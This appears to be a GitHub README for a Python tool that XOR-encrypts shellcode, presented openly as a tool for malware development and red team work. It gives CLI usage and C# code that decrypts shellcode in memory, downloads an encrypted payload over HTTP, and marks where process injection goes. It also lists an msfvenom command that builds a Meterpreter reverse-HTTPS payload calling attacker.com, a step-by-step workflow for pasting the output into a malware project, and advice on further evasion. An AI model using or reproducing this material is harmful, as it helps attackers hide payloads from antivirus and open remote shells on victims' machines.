Production-ready Python utility for XOR-based shellcode obfuscation β designed for malware development, adversarial security research, and authorized red team operations.
β
XOR Encryption β Multi-byte XOR key with cyclic application
β
Random Key Generation β Cryptographically diverse obfuscation per build
β
C# Code Generation β Ready-to-paste decryption code for .NET exploitation
β
CLI + Interactive Modes β Command-line or menu-driven interface
β
Verification β Integrity checks via decryption validation
β
Clean Output β Formatted hex arrays and C# snippets
git clone https://github.com/lfgrillo83/shellcode-xor-encrypt.git
cd shellcode-xor-encrypt
chmod +x xor_encrypt.pyRequirements: Python 3.6+ (no external dependencies)
./xor_encrypt.pyMenu appears:
π Caminho do shellcode (ex: demon.bin): demon.bin
πΎ Arquivo de saΓda [deixar em branco para auto]:
π Chave XOR em hex [deixar em branco para gerar]:
./xor_encrypt.py demon.binOutput: demon.enc
./xor_encrypt.py demon.bin -o payload.enc./xor_encrypt.py demon.bin -k "AE 51 E6 10 99 A1"./xor_encrypt.py demon.bin -v./xor_encrypt.py demon.bin -o payload.enc -k "AE 51 E6 10 99 A1" -vβββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
π Arquivo original: demon.bin
π Arquivo encriptado: demon.enc
π Chave XOR (hex): ae51e61099a1
π Chave XOR (C#): new byte[] { 0xAE, 0x51, 0xE6, 0x10, 0x99, 0xA1 }
π Tamanho original: 789 bytes
π Tamanho encriptado: 789 bytes
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
π CΓDIGO C# (COPIE E COLE NO SEU Program.cs):
// XOR Key
byte[] xorKey = new byte[] { 0xAE, 0x51, 0xE6, 0x10, 0x99, 0xA1 };
// Encrypted shellcode
byte[] shellcode = new byte[] { 0xC6, 0x25, 0x92, ... };
// Decrypt function
for (int i = 0; i < shellcode.Length; i++)
shellcode[i] = (byte)(shellcode[i] ^ xorKey[i % xorKey.Length]);
// 1. Copy generated C# code from xor_encrypt.py output
// 2. Paste into your Program.cs
byte[] xorKey = new byte[] { 0xAE, 0x51, 0xE6, 0x10, 0x99, 0xA1 };
byte[] shellcode = new byte[] { 0xC6, 0x25, 0x92, ... };
// Decrypt in-memory
for (int i = 0; i < shellcode.Length; i++)
shellcode[i] = (byte)(shellcode[i] ^ xorKey[i % xorKey.Length]);
// Use decrypted shellcode for injection
using (HttpClient client = new HttpClient())
{
byte[] downloadedShellcode = client.GetByteArrayAsync(url).Result;
// XOR decrypt
for (int i = 0; i < downloadedShellcode.Length; i++)
downloadedShellcode[i] = (byte)(downloadedShellcode[i] ^ xorKey[i % xorKey.Length]);
// Inject into process...
}for i in range(len(data)):
encrypted[i] = data[i] ^ key[i % len(key)]- Strengths: Fast, simple, deterministic, easy to integrate
- Weaknesses: XOR is not cryptographically strong; vulnerable to frequency analysis and known-plaintext attacks
- Malware development & obfuscation
- Authorized red team operations
- CTF challenges
- Security research in controlled environments
β Not Suitable For:
- Production secrets management
- Data confidentiality in multi-user systems
- Long-term sensitive data protection
Recommendation: Combine with other evasion techniques:
- Base64 encoding
- ROT13 scrambling
- Random key per build
- Runtime decryption only when needed
./xor_encrypt.py --help| Option | Description | Example |
|---|---|---|
input_file |
Shellcode binary to encrypt | demon.bin |
-o, --output |
Output filename (default: input.enc) | -o payload.enc |
-k, --key |
XOR key in hex format | -k "AE 51 E6 10 99 A1" |
-v, --verify |
Verify encryption/decryption | -v |
-h, --help |
Show help message |
1. Generate shellcode (e.g., msfvenom, custom generator)
β
2. Encrypt with xor_encrypt.py
β
3. Copy generated C# code
β
4. Paste into your malware project
β
5. Compile and execute
β
6. β
Shellcode decrypted and injected at runtime
msfvenom -p windows/meterpreter/reverse_https LHOST=attacker.com LPORT=443 -f raw -o meterpreter.bin
./xor_encrypt.py meterpreter.bin -o meterpreter.enc./xor_encrypt.py beacon.bin -k "AE 51 E6 10 99 A1"for i in {1..5}; do
echo "=== Variant $i ==="
./xor_encrypt.py demon.bin -o "demon_v${i}.enc"
doneshellcode-xor-encrypt/
βββ xor_encrypt.py # Main encryptor utility
βββ README.md # This file
βββ .gitignore # Git exclusions
Luiz Grillo β SEK.io
Email: luiz.grillo@sek.io
This tool is designed exclusively for authorized security testing, CTF competitions, and educational purposes. Unauthorized access to computer systems is illegal. Always obtain proper authorization before performing penetration testing or red team operations.
Unauthorized use of this tool against systems you do not own or have explicit permission to test is illegal and unethical.
MIT License β See LICENSE file for details
- Initial release
- CLI and interactive modes
- Random key generation
- C# code generation
- Verification support